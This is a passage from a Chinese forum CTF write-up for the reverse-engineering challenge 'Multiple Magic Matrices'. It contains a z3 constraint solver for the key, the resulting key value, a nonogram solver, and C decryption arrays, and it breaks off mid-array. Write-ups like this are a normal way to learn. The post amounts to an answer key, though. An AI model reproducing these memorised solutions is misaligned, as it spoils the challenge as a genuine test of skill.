好友
阅读权限 10
听众
最后登录 1970-1-1
本帖最后由 ajguthahbzzb 于 2025-9-18 23:21 编辑
前言
什么啊,我只有打招新赛的时候才能做出题吗(
记得半年前打N1CTF Junior的时候我只做了一道pwn的签到题然后就摆了,逆向有道题会做但也是嫌麻烦没做。
最近也是忙于工作,很少抽出时间来钻研题目。
这次比赛虽然只是抱着来玩的心态打的,但我从做出第一道题开始就在尽力做每一道会做的题。最终做出一道re和三道pwn。
如果热爱真能抵岁月漫长,我愿意一直做下去。
Multiple Magic Matrices
思路
这道题是我在平台拿到附件的第一道题,加密算法没一个看懂,全问gpt5才做出来的。
题目的逻辑其实很简单,首先输入一个key,然后再输入flag。
key的加密逻辑是首先把输入的长整型转为8*8的比特数组,然后就是一个非常复杂的逻辑检测key是否满足条件。逻辑我也没看明白,我就直接问的gpt5。问了三四次做出来的答案都不对,然后gpt5加了调试信息叫我跑完给它看。我知道如果一直问下去要问很久才能做出正确答案,所以我稍微改了下prompt,加上验证答案是否正确的要求,最终正确的脚本如下:
[Python] 纯文本查看 复制代码
# pip install z3-solver
from z3 import *
N = 8
def neighbors(i, j):
rs = []
for r in range(max(0, i - 1), min(7, i + 1) + 1):
for c in range(max(0, j - 1), min(7, j + 1) + 1):
if not (r == i and c == j):
rs.append((r, c))
return rs
def z3_count_true(bools):
return Sum([If(b, 1, 0) for b in bools])
def build_solver():
s = Solver()
# bin[i][j] -> Bool
binv = [[Bool(f"b_{i}_{j}") for j in range(N)] for i in range(N)]
row_sum = [z3_count_true(binv[i]) for i in range(N)]
col_sum = [z3_count_true([binv[i][j] for i in range(N)]) for j in range(N)]
# 1) if ( bin_key[1][4] != 1 ) return 0LL;
s.add(binv[1][4] == True)
# 2) if ( bin_key[4][0] != v4[4] <= 5 ) return 0LL;
s.add(binv[4][0] == (col_sum[4] <= 5))
# 3) v62: 存在某一行全为 1;并要求 bin[1][4] == v62
v62 = Or([And(binv[r]) for r in range(N)])
s.add(binv[1][4] == v62)
# 4) if ( bin_key[6][4] ) return 0LL;
s.add(binv[6][4] == False)
# 5) if ( bin_key[0][2] != v4[1] < v4[2] ) return 0LL;
s.add(binv[0][2] == (col_sum[1] < col_sum[2]))
# 6) v58: 存在某一列全为 1;并要求 bin[0][4] == v58
v58 = Or([And([binv[i][c] for i in range(N)]) for c in range(N)])
s.add(binv[0][4] == v58)
# 7) if ( bin_key[2][7] ) return 0LL;
s.add(binv[2][7] == False)
# 8) if ( bin_key[3][1] != v5[3] < v4[1] ) return 0LL;
s.add(binv[3][1] == (row_sum[3] < col_sum[1]))
# 9) v54 := 主对角线全 1 或 副对角线全 1
diag_main_all = And([binv[d][d] for d in range(N)])
diag_anti_all = And([binv[k][7 - k] for k in range(N)])
v54 = Or(diag_main_all, diag_anti_all)
# 10) if ( bin_key[4][1] != 1 ) return 0LL;
s.add(binv[4][1] == True)
# 11) if ( bin_key[2][4] != v54 ) return 0LL;
s.add(binv[2][4] == v54)
# 12) if ( bin_key[7][7] ) return 0LL;
s.add(binv[7][7] == False)
# 13) v49: 四角之和
v49 = z3_count_true([binv[0][0], binv[0][7], binv[7][0], binv[7][7]])
# 14) if ( bin_key[5][3] != 1 ) return 0LL;
s.add(binv[5][3] == True)
# 15) if ( (v49 == 1) != bin_key[5][5] ) return 0LL;
s.add(binv[5][5] == (v49 == 1))
# 16) (1,0) 邻域奇偶
nb_10 = [binv[r][c] for (r, c) in neighbors(1, 0)]
v48 = z3_count_true(nb_10)
s.add(binv[1][0] == (v48 % 2 == 1))
# 17) if ( bin_key[2][5] ) return 0LL;
s.add(binv[2][5] == False)
# 18) (5,6) 邻域偶奇
nb_56 = [binv[r][c] for (r, c) in neighbors(5, 6)]
v46 = z3_count_true(nb_56)
s.add(binv[5][6] == (v46 % 2 == 0))
# 19) if ( bin_key[3][1] != 1 ) return 0LL; 结合 (8) 说明条件必须为真
s.add(binv[3][1] == True)
# 20) if ( bin_key[4][2] != v4[0] > 5 ) return 0LL;
s.add(binv[4][2] == (col_sum[0] > 5))
# 21) v44: 是否存在某格其所有邻居都为 0
v44_items = []
for i in range(N):
for j in range(N):
nb = neighbors(i, j)
# v6>0 在棋盘内恒为真,这里直接用邻居全 0
v44_items.append(And([Not(binv[r][c]) for (r, c) in nb]))
v44 = Or(v44_items)
# if ( bin_key[1][2] != ((unsigned __int8)v44 ^ 1) ) => bin[1][2] == not v44
s.add(binv[1][2] == Not(v44))
# 22) if ( bin_key[2][0] != bin_key[2][2] ) return 0LL;
s.add(binv[2][0] == binv[2][2])
# 23) v39: (0..2,0..2) 1 的数量
v39 = z3_count_true([binv[i][j] for i in range(3) for j in range(3)])
s.add(binv[2][1] == (v39 > 4))
# 24) if ( bin_key[6][0] != v4[7] <= 3 ) return 0LL;
s.add(binv[6][0] == (col_sum[7] <= 3))
# 25) v36: (0..3,0..1) 权重: 1->4, 0->3
v36 = Sum([If(binv[i][j], 4, 3) for i in range(4) for j in range(2)])
s.add(binv[2][6] == (v36 <= 3)) # 实际总在 False,但按原式建模
s.add(binv[1][6] == (v36 > 7)) # 实际恒 True
# 26) if ( (v49 == 3) != bin_key[1][3] ) return 0LL;
s.add(binv[1][3] == (v49 == 3))
# 27) v33: (0..4,0..2) 权重: 1->2, 0->4
v33 = Sum([If(binv[i][j], 2, 4) for i in range(5) for j in range(3)])
s.add(binv[3][6] == (v33 <= 2)) # 实际恒 False
# 28) if ( bin_key[5][0] != v5[5] <= 1 ) return 0LL;
s.add(binv[5][0] == (row_sum[5] <= 1))
# 29) v30: 是否存在垂直相邻两格同列同为 1
v30 = Or([And(binv[i][j], binv[i + 1][j]) for i in range(N - 1) for j in range(N)])
s.add(binv[2][2] == Not(v30))
# 30) if ( bin_key[5][3] != v5[0] < v4[3] ) return 0LL;
s.add(binv[5][3] == (row_sum[0] < col_sum[3]))
# 31) if ( (v49 == 4) != bin_key[7][1] ) return 0LL;
s.add(binv[7][1] == (v49 == 4))
# 32) v27: 存在一个 (i,j) 满足 上下左右都为 1 且中心为 0
v27 = Or([
And(binv[i - 1][j], binv[i + 1][j], binv[i][j - 1], binv[i][j + 1], Not(binv[i][j]))
for i in range(1, N - 1) for j in range(1, N - 1)
])
s.add(binv[2][3] == Not(v27))
# 33) if ( bin_key[5][7] != v44 ) return 0LL;
s.add(binv[5][7] == v44)
# 34) v24: 是否存在某格,其邻居中 1 的数量 > 6
v24 = Or([
z3_count_true([binv[r][c] for (r, c) in neighbors(i, j)]) > 6
for i in range(N) for j in range(N)
])
s.add(binv[3][0] == v24)
# 35) if ( bin_key[6][3] != bin_key[7][5] ) return 0LL;
s.add(binv[6][3] == binv[7][5])
# 36) v19: 是否存在 2x2 全 1 子方块
v19 = Or([
And(binv[i][j], binv[i + 1][j], binv[i][j + 1], binv[i + 1][j + 1])
for i in range(N - 1) for j in range(N - 1)
])
s.add(binv[3][2] == v19)
# 37) if ( (v49 == 2) != bin_key[5][6] ) return 0LL;
s.add(binv[5][6] == (v49 == 2))
# 38) (3,3) 邻域偶奇:bin[3][3] == !(v16 & 1) -> 偶数
v16 = z3_count_true([binv[r][c] for (r, c) in neighbors(3, 3)])
s.add(binv[3][3] == (v16 % 2 == 0))
# 39) (6,4) 邻域奇偶:bin[2][6] == (v14 % 2 == 1)
v14 = z3_count_true([binv[r][c] for (r, c) in neighbors(6, 4)])
s.add(binv[2][6] == (v14 % 2 == 1))
# 40) if ( bin_key[6][6] != v5[3] > v4[7] ) return 0LL;
s.add(binv[6][6] == (row_sum[3] > col_sum[7]))
# 41) v12: 第 6 列(下标 6)列和最小:对所有 j, col[6] <= col[j]
v12 = And([col_sum[6] <= col_sum[j] for j in range(N)])
s.add(binv[4][3] == v12)
# 42) if ( bin_key[4][7] != v5[5] > v4[1] ) return 0LL;
s.add(binv[4][7] == (row_sum[5] > col_sum[1]))
# 43) if ( bin_key[5][2] != v5[0] < v4[1] ) return 0LL;
s.add(binv[5][2] == (row_sum[0] < col_sum[1]))
# 44) if ( bin_key[0][7] != v5[0] > 4 ) return 0LL;
s.add(binv[0][7] == (row_sum[0] > 4))
# 45) v10: 是否存在某一行全 0;v8: 是否存在某一列全 0
v10 = Or([And([Not(binv[r][c]) for c in range(N)]) for r in range(N)])
v8 = Or([And([Not(binv[r][c]) for r in range(N)]) for c in range(N)])
v1 = Or(v10, v8)
# 46) return: bin[4][4] == v1 && bin[7][2] == v5[0] > v4[2]
s.add(binv[4][4] == v1)
s.add(binv[7][2] == (row_sum[0] > col_sum[2]))
return s, binv
def model_to_matrix(m, binv):
from z3 import is_true
return [[1 if is_true(m[binv[i][j]]) else 0 for j in range(N)] for i in range(N)]
def check_bin_key_py(M, verbose=True):
# M: 8x8 0/1 列表
def rs(i): return sum(M[i][j] for j in range(N))
def cs(j): return sum(M[i][j] for i in range(N))
def nb(i, j):
out = []
for r in range(max(0, i - 1), min(7, i + 1) + 1):
for c in range(max(0, j - 1), min(7, j + 1) + 1):
if not (r == i and c == j):
out.append((r, c))
return out
def cnt(coords): return sum(M[r][c] for (r, c) in coords)
# 开始按给定 C 代码逐条检查(遇到第一处错误就返回)
if M[1][4] != 1:
if verbose: print("失败: M[1][4] 应为 1")
return False
if M[4][0] != (cs(4) <= 5):
if verbose: print(f"失败: M[4][0] 应等于 (col[4]<=5)={cs(4)<=5}, 实际={M[4][0]}")
return False
v62 = 0
for k in range(8):
if all(M[k][m] == 1 for m in range(8)):
v62 = 1
break
if M[1][4] != v62:
if verbose: print(f"失败: M[1][4] 应等于 v62={v62}")
return False
if M[6][4] != 0:
if verbose: print("失败: M[6][4] 应为 0")
return False
if M[0][2] != (cs(1) < cs(2)):
if verbose: print(f"失败: M[0][2] 应等于 (col1<col2)={cs(1)<cs(2)}")
return False
v58 = 0
for n in range(8):
if all(M[ii][n] == 1 for ii in range(8)):
v58 = 1
break
if M[0][4] != v58:
if verbose: print(f"失败: M[0][4] 应等于 v58={v58}")
return False
if M[2][7] != 0:
if verbose: print("失败: M[2][7] 应为 0")
return False
if M[3][1] != (rs(3) < cs(1)):
if verbose: print(f"失败: M[3][1] 应等于 (row3<col1)={rs(3)<cs(1)}")
return False
# v54
if M[4][1] != 1:
if verbose: print("失败: M[4][1] 应为 1")
return False
v53 = 1 if all(M[jj][jj] == 1 for jj in range(8)) else 0
v51 = 1 if all(M[kk][7 - kk] == 1 for kk in range(8)) else 0
v54 = 1 if (v53 or v51) else 0
if M[2][4] != v54:
if verbose: print(f"失败: M[2][4] 应等于 v54={v54}")
return False
if M[7][7] != 0:
if verbose: print("失败: M[7][7] 应为 0")
return False
v49 = M[0][0] + M[0][7] + M[7][0] + M[7][7]
if M[5][3] != 1:
if verbose: print("失败: M[5][3] 应为 1")
return False
if (v49 == 1) != bool(M[5][5]):
if verbose: print(f"失败: M[5][5] 应等于 (v49==1)={v49==1}")
return False
v48 = cnt(nb(1, 0))
if M[1][0] != (v48 % 2 == 1):
if verbose: print(f"失败: M[1][0] 应等于 (parity odd at (1,0))={v48%2==1}, 邻居1数={v48}")
return False
if M[2][5] != 0:
if verbose: print("失败: M[2][5] 应为 0")
return False
v46 = cnt(nb(5, 6))
if M[5][6] != (v46 % 2 == 0):
if verbose: print(f"失败: M[5][6] 应等于 (even parity at (5,6))={v46%2==0}, 邻居1数={v46}")
return False
if M[3][1] != 1:
if verbose: print("失败: M[3][1] 再次应为 1")
return False
if M[4][2] != (cs(0) > 5):
if verbose: print(f"失败: M[4][2] 应等于 (col0>5)={cs(0)>5}")
return False
v44 = 0
for i1 in range(8):
for i2 in range(8):
nbs = nb(i1, i2)
if len(nbs) > 0 and all(M[r][c] == 0 for (r, c) in nbs):
v44 = 1
break
if v44:
break
if M[1][2] != (not bool(v44)):
if verbose: print(f"失败: M[1][2] 应等于 not v44, v44={v44}")
return False
if M[2][0] != M[2][2]:
if verbose: print("失败: M[2][0] 应等于 M[2][2]")
return False
v39 = sum(M[i][j] for i in range(3) for j in range(3))
if (v39 > 4) != bool(M[2][1]):
if verbose: print(f"失败: M[2][1] 应等于 (v39>4)={v39>4}, v39={v39}")
return False
if M[6][0] != (cs(7) <= 3):
if verbose: print(f"失败: M[6][0] 应等于 (col7<=3)={cs(7)<=3}")
return False
v36 = sum(4 if M[i][j] == 1 else 3 for i in range(4) for j in range(2))
if (v36 <= 3) != bool(M[2][6]):
if verbose: print(f"失败: M[2][6] 应等于 (v36<=3)={v36<=3}, v36={v36}")
return False
if (v36 > 7) != bool(M[1][6]):
if verbose: print(f"失败: M[1][6] 应等于 (v36>7)={v36>7}, v36={v36}")
return False
if (v49 == 3) != bool(M[1][3]):
if verbose: print(f"失败: M[1][3] 应等于 (v49==3)={v49==3}")
return False
v33 = sum(2 if M[i][j] == 1 else 4 for i in range(5) for j in range(3))
if (v33 <= 2) != bool(M[3][6]):
if verbose: print(f"失败: M[3][6] 应等于 (v33<=2)={v33<=2}, v33={v33}")
return False
if M[5][0] != (rs(5) <= 1):
if verbose: print(f"失败: M[5][0] 应等于 (row5<=1)={rs(5)<=1}")
return False
v30 = any(M[i][j] == 1 and M[i + 1][j] == 1 for i in range(N - 1) for j in range(N))
if M[2][2] != (not v30):
if verbose: print(f"失败: M[2][2] 应等于 not v30, v30={v30}")
return False
if M[5][3] != (rs(0) < cs(3)):
if verbose: print(f"失败: M[5][3] 应等于 (row0<col3)={rs(0)<cs(3)}")
return False
if (v49 == 4) != bool(M[7][1]):
if verbose: print(f"失败: M[7][1] 应等于 (v49==4)={v49==4}")
return False
v27 = any(M[i - 1][j] and M[i + 1][j] and M[i][j - 1] and M[i][j + 1] and (M[i][j] != 1)
for i in range(1, N - 1) for j in range(1, N - 1))
if M[2][3] != (not v27):
if verbose: print(f"失败: M[2][3] 应等于 not v27, v27={v27}")
return False
if M[5][7] != v44:
if verbose: print(f"失败: M[5][7] 应等于 v44={v44}")
return False
v24 = any(cnt(nb(i, j)) > 6 for i in range(N) for j in range(N))
if M[3][0] != v24:
if verbose: print(f"失败: M[3][0] 应等于 v24={v24}")
return False
if M[6][3] != M[7][5]:
if verbose: print("失败: M[6][3] 应等于 M[7][5]")
return False
v19 = any(M[i][j] and M[i + 1][j] and M[i][j + 1] and M[i + 1][j + 1] for i in range(N - 1) for j in range(N - 1))
if M[3][2] != v19:
if verbose: print(f"失败: M[3][2] 应等于 v19={v19}")
return False
if (v49 == 2) != bool(M[5][6]):
if verbose: print(f"失败: M[5][6] 应等于 (v49==2)={v49==2}")
return False
v16 = cnt(nb(3, 3))
if M[3][3] != (v16 % 2 == 0):
if verbose: print(f"失败: M[3][3] 应等于 (even parity at (3,3))={v16%2==0}, 邻居1数={v16}")
return False
v14 = cnt(nb(6, 4))
if M[2][6] != (v14 % 2 == 1):
if verbose: print(f"失败: M[2][6] 应等于 (odd parity at (6,4))={v14%2==1}, 邻居1数={v14}")
return False
if M[6][6] != (rs(3) > cs(7)):
if verbose: print(f"失败: M[6][6] 应等于 (row3>col7)={rs(3)>cs(7)}")
return False
if M[4][3] != (cs(6) <= min(cs(j) for j in range(8))):
if verbose: print(f"失败: M[4][3] 应等于 (col6 最小)={(cs(6) <= min(cs(j) for j in range(8)))}")
return False
if M[4][7] != (rs(5) > cs(1)):
if verbose: print(f"失败: M[4][7] 应等于 (row5>col1)={rs(5)>cs(1)}")
return False
if M[5][2] != (rs(0) < cs(1)):
if verbose: print(f"失败: M[5][2] 应等于 (row0<col1)={rs(0)<cs(1)}")
return False
if M[0][7] != (rs(0) > 4):
if verbose: print(f"失败: M[0][7] 应等于 (row0>4)={rs(0)>4}")
return False
v10 = any(all(M[r][c] == 0 for c in range(N)) for r in range(N))
v8 = any(all(M[r][c] == 0 for r in range(N)) for c in range(N))
v1 = v10 or v8
if M[4][4] != v1:
if verbose: print(f"失败: M[4][4] 应等于 v1={v1} (行或列存在全 0)")
return False
if M[7][2] != (rs(0) > cs(2)):
if verbose: print(f"失败: M[7][2] 应等于 (row0>col2)={rs(0)>cs(2)}")
return False
return True
def print_matrix(M):
res = []
for i in range(N):
print("".join(str(M[i][j]) for j in range(N)))
res.append(int("".join(str(M[i][j]) for j in range(N)), 2))
res0 = 0
for num in res:
res0 = res0 * 0x100 + num
print(res0)
def main():
s, binv = build_solver()
if s.check() != sat:
print("不可满足:约束无解")
return
m = s.model()
M = model_to_matrix(m, binv)
print("求解结果 (8x8):")
print_matrix(M)
print("\n开始校验...")
ok = check_bin_key_py(M, verbose=True)
if ok:
print("通过校验:结果正确")
else:
print("未通过校验:已打印第一处错误和原因")
if __name__ == "__main__":
main()
# 10952543642096005566
key输入正确后,程序会输出一个意义不明的棋盘,经过多次的输入验证,程序首先会把所有输入的字符通过一个字母表转成6位二进制数组,然后对数组进行一个很复杂的加密,然后把它放到棋盘里面,最后验证棋盘是否满足一开始输出的棋盘的性质。输入的长度要满足ceil(sqrt(len*6)) = 13(后面出题人直接告诉我们输入长度是27),13*13棋盘要满足的条件是每行每列由0隔开的连续的1满足标在棋盘旁边的数组,例如:
[Plain Text] 纯文本查看 复制代码
████████████ ████ ████ ║ 6 2 2
██ ████ ████████║ 1 2 4
██ ████ ██ ██████║ 1 2 1 3
██ ██ ████ ██║ 1 1 2 1
██████ ██████████ ║ 3 5
████ ██ ██ ████ ██║ 2 1 1 2 1
██ ██ ██ ██ ████ ║ 1 1 1 1 2
██ ██ ██ ████║ 1 1 1 2
██ ████████ ████████ ║ 1 4 4
██████████ ████ ██████║ 5 2 3
██ ████ ████║ 1 2 2
████████ ██ ║ 4 1
██ ██ ██████║ 1 1 3
══════════════════════════╝
1 2 1 1 2 2 3 1 1 1 3 3 3
1 3 1 2 2 2 3 1 1 3 2 4 1
3 3 1 4 4 1 1 1 1 1 2 1 1
1 1 1 1 2 1 1 2
1 2 1
1
第一行连续的1的个数分别为6,2,2,以此类推。根据题目的约束,找gpt5写一个解密脚本:
[Python] 纯文本查看 复制代码
from functools import lru_cache
from typing import List, Tuple, Optional
Board = List[List[int]]
def extract_runs(line: List[int]) -> List[int]:
runs = []
count = 0
for v in line:
if v == 1:
count += 1
else:
if count > 0:
runs.append(count)
count = 0
if count > 0:
runs.append(count)
return runs if runs else ([] if any(line) == False else [])
def generate_line_patterns(length: int, runs: List[int]) -> List[Tuple[int, ...]]:
if not runs:
return [tuple(0 for _ in range(length))]
total_ones = sum(runs)
min_zeros_between = len(runs) - 1
min_required = total_ones + min_zeros_between
max_leading_zeros = length - min_required
if max_leading_zeros < 0:
return []
patterns = []
@lru_cache(None)
def place(run_idx: int, pos: int) -> List[Tuple[int, ...]]:
# place run_idx at or after pos
if run_idx == len(runs):
# fill trailing zeros
tail = [0] * (length - pos)
return [tuple(tail)] if pos <= length else []
res = []
remaining_runs = runs[run_idx:]
remaining_ones = sum(remaining_runs)
remaining_min_zeros = len(remaining_runs) - 1 # zeros between the remaining runs
# Latest possible start so that remaining can still fit
latest_start = length - (remaining_ones + remaining_min_zeros)
for start in range(pos, latest_start + 1):
# zeros before current run
prefix = [0] * (start - pos)
# current run ones
body = [1] * runs[run_idx]
after_pos = start + runs[run_idx]
# add mandatory zero if not last run
sep = []
if run_idx < len(runs) - 1:
if after_pos >= length:
continue
sep = [0]
after_pos += 1
# recurse
for suffix in place(run_idx + 1, after_pos):
res.append(tuple(prefix + body + sep) + suffix)
return res
# Try possible leading zeros before the first run (this is already handled in place by varying start=pos..latest_start)
# We start at position 0
# But place() already enumerates the leading zeros by choosing 'start' >= pos, so a single call is enough.
# However we must ensure the returned tuples are full length
fulls = []
for t in place(0, 0):
if len(t) == length:
fulls.append(t)
return fulls
def is_column_prefix_valid(prefix: List[int], clue: List[int], total_len: int) -> bool:
# Count closed runs and detect open run at end
closed = []
cur = 0
for v in prefix:
if v == 1:
cur += 1
else:
if cur > 0:
closed.append(cur)
cur = 0
open_run = cur # may be 0
# Too many closed runs already
if len(closed) > len(clue):
return False
# Closed runs must match exactly
for i, c in enumerate(closed):
if i >= len(clue) or c != clue[i]:
return False
# If open run exists, it must not exceed the current clue run
idx = len(closed)
if open_run > 0:
if idx >= len(clue):
return False
if open_run > clue[idx]:
return False
# Feasibility: remaining cells must fit remaining required ones and minimum zeros
remaining_cells = total_len - len(prefix)
if open_run > 0:
ones_needed = (clue[idx] - open_run) + sum(clue[idx + 1 :])
zeros_needed = max(0, (len(clue) - (idx + 1))) # zeros between runs after finishing current
else:
ones_needed = sum(clue[idx:])
zeros_needed = max(0, len(clue) - idx - 1)
return remaining_cells >= (ones_needed + zeros_needed)
def solve_nonogram(row_clues: List[List[int]], col_clues: List[List[int]]) -> Optional[Board]:
n = len(row_clues)
m = len(col_clues)
assert n == m, "这里是 13x13,行列应相等"
# 生成每一行所有合法模式
row_options: List[List[Tuple[int, ...]]] = []
for i, rc in enumerate(row_clues):
row_options.append(generate_line_patterns(m, rc))
# 回溯
board: List[List[int]] = [[0] * m for _ in range(n)]
col_prefixes: List[List[int]] = [[] for _ in range(m)]
def backtrack(r: int) -> bool:
if r == n:
return True
for candidate in row_options[r]:
# 列前缀检查
ok = True
for c in range(m):
v = candidate[c]
col_prefixes[c].append(v)
if not is_column_prefix_valid(col_prefixes[c], col_clues[c], n):
ok = False
if not ok:
# 回滚已推入的前缀
for cc in range(c + 1):
col_prefixes[cc].pop()
break
if not ok:
continue
board[r] = list(candidate)
if backtrack(r + 1):
return True
# 回滚
for c in range(m):
col_prefixes[c].pop()
return False
if backtrack(0):
return board
return None
def validate_board(board: Board, row_clues: List[List[int]], col_clues: List[List[int]]) -> bool:
n = len(board)
m = len(board[0]) if board else 0
# 行校验
for r in range(n):
if extract_runs(board[r]) != row_clues[r]:
return False
# 列校验
for c in range(m):
col = [board[r][c] for r in range(n)]
if extract_runs(col) != col_clues[c]:
return False
return True
def print_board(board: Board):
# 同时打印 0/1 和可视化
print("解(0/1):")
for row in board:
print(",".join(str(v) for v in row), end=',\n')
print("\n可视化(#=1, .=0):")
for row in board:
print("".join('#' if v == 1 else '.' for v in row))
if __name__ == "__main__":
# 题目中的行/列约束(将“0”行转为空数组)
row_clues = [
[2, 2, 1, 3],
[1, 1, 1, 1, 1, 1],
[1, 1, 3, 1, 1],
[1, 1, 1, 1, 3],
[], # "0"
[1, 2, 2, 2, 1],
[1, 1, 1, 1, 1],
[1, 1, 1, 1, 2],
[1, 2, 1, 1, 1],
[3, 2, 1, 1, 1],
[1, 1, 1, 1],
[1, 2, 1, 1],
[1, 1, 1, 1, 1, 1],
]
col_clues = [
[4, 1, 3],
[1, 4],
[1, 5],
[1, 1, 1],
[4, 4],
[5, 1],
[3, 1, 1, 1],
[1, 1, 1],
[3, 1, 1, 2],
[4],
[4, 1, 1],
[1, 1, 3, 2],
[1, 2, 1, 1, 1, 1],
]
board = solve_nonogram(row_clues, col_clues)
if board is None:
print("无解")
else:
assert validate_board(board, row_clues, col_clues), "解不满足校验!"
print_board(board)
print("\n校验通过 ✔")
得到的解满足题目要求。
然后就是中间那段对棋盘的加密逻辑。里面会对刚刚输入的key做某个变换生成一个数组,最好是先把数组导出为keystream。
简单逆一逆里面的每个函数,把除了生成keystream的每个函数都放进prompt里,让gpt写解密逻辑。
最终的解密代码如下:
[C] 纯文本查看 复制代码
#include <stdint.h>
#include <string.h>
uint8_t key2[] = {4, 9, 2, 3, 5, 7, 8, 1, 6}; // 与加密相同
uint8_t key3[] = {
0x38, 0xD6, 0x18, 0x0E, 0xC6, 0xA4, 0x47, 0x4A, 0x97, 0xA1,
0xA2, 0x79, 0xE3, 0xF9, 0x61, 0x0B, 0xC3, 0xFA, 0x08, 0x32,
0x5F, 0x73, 0x4F, 0x6C, 0xBE, 0x68, 0x7B, 0xB3, 0x4C, 0x1B,
0x8D, 0x3C, 0x63, 0xF5, 0xE8, 0xD8, 0xCB, 0xCF, 0xBC, 0xC1,
0x9A, 0x3F, 0x6F, 0x9F, 0x70, 0xCA, 0x60, 0x49, 0x30, 0xE6,
0x86, 0x90, 0xC8, 0x1F, 0xE5, 0x6E, 0x8E, 0x00, 0x2E, 0x36,
0xEA, 0x91, 0x5D, 0x92, 0x2D, 0x6B, 0xEF, 0xC9, 0xDF, 0xAC,
0xF7, 0x20, 0x9B, 0x99, 0x58, 0xB8, 0x74, 0x16, 0x42, 0xF3,
0xB5, 0x89, 0x2C, 0xDA, 0x12, 0x87, 0xE1, 0xAD, 0xFF, 0x19,
0x9E, 0x80, 0x27, 0xB6, 0x8F, 0x53, 0x65, 0xDE, 0x24, 0x2A,
0x78, 0x82, 0x95, 0x09, 0x34, 0x48, 0xD2, 0x33, 0xE2, 0x3D,
0x55, 0xBB, 0x0D, 0x6A, 0x8A, 0x6D, 0xAB, 0x02, 0x59, 0x01,
0x2B, 0x56, 0xDC, 0x14, 0x72, 0xB0, 0x15, 0x37, 0xCE, 0x8B,
0xB4, 0x39, 0xAF, 0x83, 0x10, 0x88, 0x26, 0xF2, 0x40, 0x84,
0x98, 0xC2, 0x5B, 0xDB, 0x46, 0x51, 0x7E, 0xA0, 0xA3, 0xD4,
0x85, 0x43, 0xDD, 0xE0, 0x3A, 0x17, 0xD9, 0xAA, 0x23, 0x4D,
0xFE, 0x21, 0x44, 0xC5, 0x1A, 0x31, 0x9D, 0x2F, 0xA5, 0xA7,
0x71, 0x54, 0x5C, 0x5E, 0xC4, 0x41, 0xB7, 0xB1, 0xF0, 0xC0,
0x05, 0x1C, 0x66, 0x7F, 0x29, 0x77, 0xCC, 0x57, 0xFD, 0x4E,
0x13, 0x28, 0x5A, 0xF4, 0xD1, 0x50, 0x96, 0xD7, 0x52, 0xD3,
0xBD, 0xEE, 0x9C, 0x7A, 0xF8, 0xEB, 0x93, 0x3B, 0xD0, 0x69,
0x81, 0x03, 0x22, 0x45, 0xE4, 0x0A, 0x7C, 0xA9, 0xF6, 0x62,
0xA8, 0x3E, 0xBF, 0x7D, 0x67, 0xEC, 0x0C, 0x1D, 0xE7, 0x4B,
0xCD, 0xED, 0x94, 0xA6, 0x8C, 0x04, 0x75, 0xFC, 0x1E, 0xFB,
0xB2, 0x07, 0x0F, 0xD5, 0xB9, 0x76, 0x11, 0x25, 0x35, 0xBA,
0xF1, 0xC7, 0x64, 0xAE, 0x06, 0xE9
}; // 与加密相同
uint8_t keystream[] = {
0x97, 0xFF, 0x40, 0x69, 0xD6, 0x18, 0x71, 0xBE, 0xEF, 0xFA,
0x93, 0x3F, 0x43, 0xD0, 0x48, 0xB5, 0x5F, 0x3E, 0x97, 0xFF,
0x40, 0x69, 0xD6, 0x18, 0x71, 0xBE, 0xEF, 0x3F, 0x68, 0x9A,
0xFC, 0x7F, 0x73, 0x45, 0x93, 0x11, 0xC7, 0xDD, 0x6C, 0xD3,
0x34, 0x72, 0x89, 0x04, 0x0B, 0xAF, 0x6E, 0x56, 0x9E, 0x05,
0x45, 0x7D, 0xE1, 0xFD, 0x77, 0xEB, 0x78, 0x4D, 0xC2, 0x5C,
0x61, 0xBA, 0x87, 0x9F, 0xE4, 0x72, 0x10, 0xFB, 0x67, 0x75,
0xDF, 0xC9, 0xA7, 0xA9, 0x64, 0x57, 0x00, 0x56, 0xF9, 0x60,
0x63, 0x0F, 0x4A, 0xEE, 0xD2, 0xE1, 0x59, 0x2D, 0x0D, 0x75,
0x57, 0x97, 0x30, 0x71, 0x6E, 0xE0, 0x51, 0x76, 0x9F, 0xFF,
0x20, 0xCA, 0x64, 0x37, 0x9B, 0xA5, 0xEB, 0x01, 0x87, 0x35,
0xDC, 0x1B, 0x8C, 0x7A, 0x69, 0x7C, 0x3B, 0x6F, 0xE6, 0x06,
0x46, 0x7D, 0xAD, 0xDD, 0xF9, 0x6D, 0x37, 0x03, 0x68, 0xD5,
0xDA, 0xA4, 0x41, 0xF2, 0x37, 0x5F, 0x1C, 0xA2, 0xF8, 0x33,
0x0F, 0xD5, 0xB7, 0xB9, 0x67, 0x81, 0xD4, 0x1F, 0xD8, 0xDE,
0xD9, 0x58, 0x93, 0xCF, 0x42, 0x9E, 0xFA, 0xD9, 0x41, 0x8D,
0xA5, 0xE5, 0x17, 0x2F, 0x20, 0x79, 0x06, 0xA8, 0x31, 0x2E,
0x4F, 0xBF, 0xD8, 0xFA, 0xCC, 0xEF, 0xC3, 0x05, 0x43, 0xF1,
0x47, 0x8D, 0x4C, 0x63, 0xE4, 0x82, 0x49, 0xF4, 0x6B, 0x2F,
0x5E, 0xB6, 0xEE, 0xF5, 0x15, 0x3D, 0x11, 0xDD, 0xF7, 0x1B,
0x58, 0x5D, 0xF2, 0xEC, 0x21, 0x2A, 0xE7, 0x1F, 0x54, 0xD2,
0xE0, 0x6B, 0xB7, 0x35, 0x8F, 0xA9, 0x27, 0x59, 0x44, 0xE7,
0xB0, 0x66, 0xB9, 0x50, 0xC3, 0x8F, 0x3A, 0x4E, 0x22, 0xD1,
0x29, 0xED, 0x3D, 0x55, 0xD7, 0xC7, 0x10, 0x81, 0x9E, 0x70,
0x11, 0xE6, 0xFF, 0x7F, 0x90, 0x2A, 0x34, 0xA7, 0xEB, 0x65,
0x9B, 0xE1, 0x07, 0xE5, 0xBC, 0xAB, 0x3C, 0x8A, 0x29, 0x6C,
0x9B, 0xEF, 0xD6, 0x66, 0x96, 0x6D, 0x7D, 0x9D, 0x29, 0x4D,
0xB7, 0x33, 0x48, 0xE5, 0x0A, 0x34, 0x01, 0x62, 0x97, 0xDF,
0x8C, 0x02, 0xC8, 0xA3, 0x5F, 0x95, 0x67, 0x99, 0xE7, 0x31,
0xB4, 0xAF, 0x88, 0xEE, 0x99, 0x48, 0xF3, 0x4F, 0x32, 0xFE,
0x4A, 0xC9, 0x11, 0x4D, 0xD5, 0xC5, 0x97, 0x5F, 0x00, 0x89,
0x36, 0x38, 0xF1, 0x9E, 0xAF, 0x3F, 0x48, 0x5A, 0x9C, 0x5F,
